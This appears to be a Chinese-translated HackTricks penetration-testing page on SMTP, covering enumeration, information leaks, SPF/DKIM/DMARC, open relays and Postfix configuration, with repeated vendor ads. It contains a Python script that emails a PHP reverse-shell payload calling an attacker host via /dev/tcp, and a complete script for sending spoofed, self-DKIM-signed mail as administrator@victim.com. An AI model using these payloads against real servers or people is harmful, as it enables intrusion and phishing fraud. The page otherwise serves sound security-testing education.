25,465,587 - Pentesting SMTP/s
学习与实践 AWS 黑客技术：
HackTricks 培训 AWS 红队专家 (ARTE)
学习与实践 GCP 黑客技术：
HackTricks 培训 GCP 红队专家 (GRTE)
即时可用的漏洞评估与渗透测试设置。从任何地方运行完整的渗透测试，提供 20 多种工具和功能，从侦察到报告。我们不替代渗透测试人员 - 我们开发自定义工具、检测和利用模块，以便让他们有更多时间深入挖掘、获取 shell 并享受乐趣。
基本信息
简单邮件传输协议 (SMTP) 是在 TCP/IP 套件中用于 发送和接收电子邮件 的协议。由于其在接收方排队消息的局限性，SMTP 通常与 POP3 或 IMAP 一起使用。这些附加协议使用户能够将消息存储在服务器邮箱中，并定期下载它们。
在实践中，电子邮件程序 通常使用 SMTP 发送电子邮件，而使用 POP3 或 IMAP 接收 它们。在基于 Unix 的系统中，sendmail 是最常用于电子邮件的 SMTP 服务器。商业软件包 Sendmail 包含一个 POP3 服务器。此外，Microsoft Exchange 提供一个 SMTP 服务器，并提供包括 POP3 支持的选项。
默认端口： 25,465(ssl),587(ssl)
EMAIL Headers
如果你有机会让受害者给你发送一封邮件（例如通过网页的联系表单），请这样做，因为你可以通过查看邮件的头部了解受害者的内部拓扑。
你也可以从SMTP服务器获取一封邮件，尝试向该服务器发送一封邮件到一个不存在的地址（因为服务器会向攻击者发送一封NDN邮件）。但是，请确保你从一个允许的地址发送邮件（检查SPF策略），并且你可以接收NDN消息。
你还应该尝试发送不同的内容，因为你可以在头部找到更有趣的信息，例如：X-Virus-Scanned: by av.domain.com
你应该发送EICAR测试文件。
检测AV可能允许你利用已知漏洞。
Basic actions
Banner Grabbing/Basic connection
SMTP:
SMTPS:
查找组织的 MX 服务器
枚举
NTLM Auth - 信息泄露
如果服务器支持 NTLM 认证（Windows），您可以获取敏感信息（版本）。更多信息 这里。
或自动化此操作，使用nmap插件smtp-ntlm-info.nse
内部服务器名称 - 信息泄露
一些SMTP服务器在发出“MAIL FROM”命令时，如果没有完整地址，会自动补全发件人的地址，从而泄露其内部名称：
Sniffing
检查是否从发送到端口 25 的数据包中嗅探到一些密码
用户名暴力破解枚举
认证并不总是需要
RCPT TO
VRFY
EXPN
自动化工具
即时可用的漏洞评估和渗透测试设置。从任何地方运行完整的渗透测试，使用20多个工具和功能，从侦察到报告。我们不替代渗透测试人员 - 我们开发自定义工具、检测和利用模块，以便让他们有更多时间深入挖掘、获取shell并享受乐趣。
DSN 报告
投递状态通知报告：如果您向一个组织发送一封电子邮件到一个无效地址，该组织会通知您该地址无效，并回复您一封邮件。返回邮件的头部将包含可能的敏感信息（如与报告交互的邮件服务的IP地址或防病毒软件信息）。
从linux控制台发送电子邮件
使用 Python 发送电子邮件
这里是 Python 代码
```python from email.mime.multipart import MIMEMultipart from email.mime.text import MIMEText import smtplib import sys
lhost = "127.0.0.1" lport = 443 rhost = "192.168.1.1" rport = 25 # 489,587
create message object instance
msg = MIMEMultipart()
setup the parameters of the message
password = "" msg['From'] = "attacker@local" msg['To'] = "victim@local" msg['Subject'] = "This is not a drill!"
payload
message = ("& /dev/tcp/%s/%d 0>&1'); ?>" % (lhost,lport))
print("[*] Payload is generated : %s" % message)
msg.attach(MIMEText(message, 'plain')) server = smtplib.SMTP(host=rhost,port=rport)
if server.noop()[0] != 250: print("[-]Connection Error") exit()
server.starttls()
Uncomment if log-in with authencation
server.login(msg['From'], password)
server.sendmail(msg['From'], msg['To'], msg.as_string()) server.quit()
print("[***]successfully sent email to %s:" % (msg['To']))
传统上，可以伪造任何没有正确/任何 SPF 记录的域名。如今，如果电子邮件来自没有有效 SPF 记录的域名，则可能会自动被拒绝/标记为不可信。
要检查域的 SPF，您可以使用在线工具，例如：https://www.kitterman.com/spf/validate.html
DKIM (DomainKeys Identified Mail)
DKIM 用于签署外发电子邮件，允许外部邮件传输代理 (MTA) 通过从 DNS 检索域的公钥来验证它们。此公钥位于域的 TXT 记录中。要访问此密钥，必须知道选择器和域名。
例如，要请求密钥，域名和选择器是必需的。这些可以在邮件头 DKIM-Signature 中找到，例如 d=gmail.com;s=20120113。
获取此信息的命令可能如下所示：
DMARC (基于域的消息认证、报告和一致性)
DMARC 通过建立在 SPF 和 DKIM 协议之上来增强电子邮件安全性。它概述了指导邮件服务器处理来自特定域的电子邮件的政策，包括如何处理身份验证失败以及将关于电子邮件处理操作的报告发送到哪里。
要获取 DMARC 记录，您需要查询子域 _dmarc
DMARC 标签
子域怎么办？
来自 这里. 您需要为每个希望发送邮件的子域拥有单独的 SPF 记录。 以下内容最初发布在 openspf.org 上，该网站曾是此类信息的极好资源。
恶魔问题：子域怎么办？
如果我从 pielovers.demon.co.uk 收到邮件，而 pielovers 没有 SPF 数据，我应该回退一级并测试 demon.co.uk 的 SPF 吗？不应该。Demon 的每个子域都是不同的客户，每个客户可能有自己的政策。Demon 的政策默认适用于所有客户是没有意义的；如果 Demon 想这样做，可以为每个子域设置 SPF 记录。
因此，给 SPF 发布者的建议是：您应该为每个具有 A 或 MX 记录的子域或主机名添加 SPF 记录。
具有通配符 A 或 MX 记录的网站也应该具有通配符 SPF 记录，形式为：* IN TXT "v=spf1 -all"
这很有道理——子域可能位于不同的地理位置，并且具有非常不同的 SPF 定义。
开放转发
发送电子邮件时，确保它们不会被标记为垃圾邮件至关重要。这通常通过使用收件人信任的中继服务器来实现。然而，一个常见的挑战是管理员可能并不完全了解哪些IP 范围是安全的。这种缺乏理解可能导致在设置 SMTP 服务器时出现错误，这是安全评估中经常识别的风险。
一些管理员使用的解决方法是允许来自任何 IP 地址的连接，以避免电子邮件投递问题，特别是与潜在或正在进行的客户的通信。这是通过将 SMTP 服务器的 mynetworks 参数配置为接受所有 IP 地址来实现的，如下所示：
为了检查邮件服务器是否是开放转发（这意味着它可以从任何外部来源转发电子邮件），通常使用 nmap 工具。它包含一个专门用于测试的脚本。在服务器上进行详细扫描的命令（例如，IP 为 10.10.10.10）在端口 25 使用 nmap 是：
工具
https://github.com/serain/mailspoof 检查 SPF 和 DMARC 配置错误
https://pypi.org/project/checkdmarc/ 自动获取 SPF 和 DMARC 配置
发送伪造邮件
或者你可以使用一个工具：
如果您在使用 dkim python lib 解析密钥时遇到任何 错误，请随意使用以下内容。 注意：这只是一个临时解决方案，用于在某些情况下快速检查，其中 openssl 私钥 无法被 dkim 解析。
或者你可以手动完成：
# 这将发送一条未签名的消息mail("your_email@gmail.com", "测试主题！", "嘿！这是一个测试", "来自：administrator@victim.com");# Code from https://github.com/magichk/magicspoofing/blob/main/magicspoofmail.pyimport osimport dkim #pip3 install dkimpyimport smtplibfrom email.mime.multipart import MIMEMultipartfrom email.mime.text import MIMETextfrom email.mime.base import MIMEBase# Set paramsdestination="destination@gmail.com"sender="administrator@victim.com"subject="Test"message_html="""<html><body><h3>This is a test, not a scam</h3><br /></body></html>"""sender_domain=sender.split("@")[1]# Prepare postfixos.system("sudo sed -ri 's/(myhostname) = (.*)/\\1 = "+sender_domain+"/g' /etc/postfix/main.cf")os.system("systemctl restart postfix")# Generate DKIM keysdkim_private_key_path="dkimprivatekey.pem"os.system(f"openssl genrsa -out {dkim_private_key_path} 1024 2> /dev/null")with open(dkim_private_key_path) as fh:dkim_private_key = fh.read()# Generate emailmsg = MIMEMultipart("alternative")msg.attach(MIMEText(message_html, "html"))msg["To"] = destinationmsg["From"] = sendermsg["Subject"] = subjectheaders = [b"To", b"From", b"Subject"]msg_data = msg.as_bytes()# Sign email with dkim## The receiver won't be able to check it, but the email will appear as signed (and therefore, more trusted)dkim_selector="s1"sig = dkim.sign(message=msg_data,selector=str(dkim_selector).encode(),domain=sender_domain.encode(),privkey=dkim_private_key.encode(),include_headers=headers)msg["DKIM-Signature"] = sig[len("DKIM-Signature: ") :].decode()msg_data = msg.as_bytes()# Use local postfix relay to send emailsmtp="127.0.0.1"s = smtplib.SMTP(smtp)s.sendmail(sender, [destination], msg_data)
更多信息
在 https://seanthegeek.net/459/demystifying-dmarc/ 中找到有关这些保护的更多信息
其他钓鱼指标
域名的年龄
指向IP地址的链接
链接操控技术
可疑（不常见）附件
损坏的电子邮件内容
使用的值与邮件头不同
存在有效且受信任的SSL证书
将页面提交给网络内容过滤网站
通过SMTP进行外泄
如果您可以通过SMTP发送数据 请阅读此文。
配置文件
Postfix
通常，如果已安装，/etc/postfix/master.cf 中包含 在用户收到新邮件时执行的脚本。例如，flags=Rq user=mark argv=/etc/postfix/filtering-f ${sender} -- ${recipient} 这一行意味着如果用户mark收到新邮件，将执行/etc/postfix/filtering。
其他配置文件：
参考
HackTricks 自动命令
即时可用的漏洞评估和渗透测试设置。从任何地方运行完整的渗透测试，提供20多个工具和功能，从侦察到报告。我们不替代渗透测试人员 - 我们开发自定义工具、检测和利用模块，以便让他们有更多时间深入挖掘、获取shell并享受乐趣。
学习和实践AWS黑客技术：HackTricks培训AWS红队专家（ARTE）
学习和实践GCP黑客技术：HackTricks培训GCP红队专家（GRTE）
Last updated
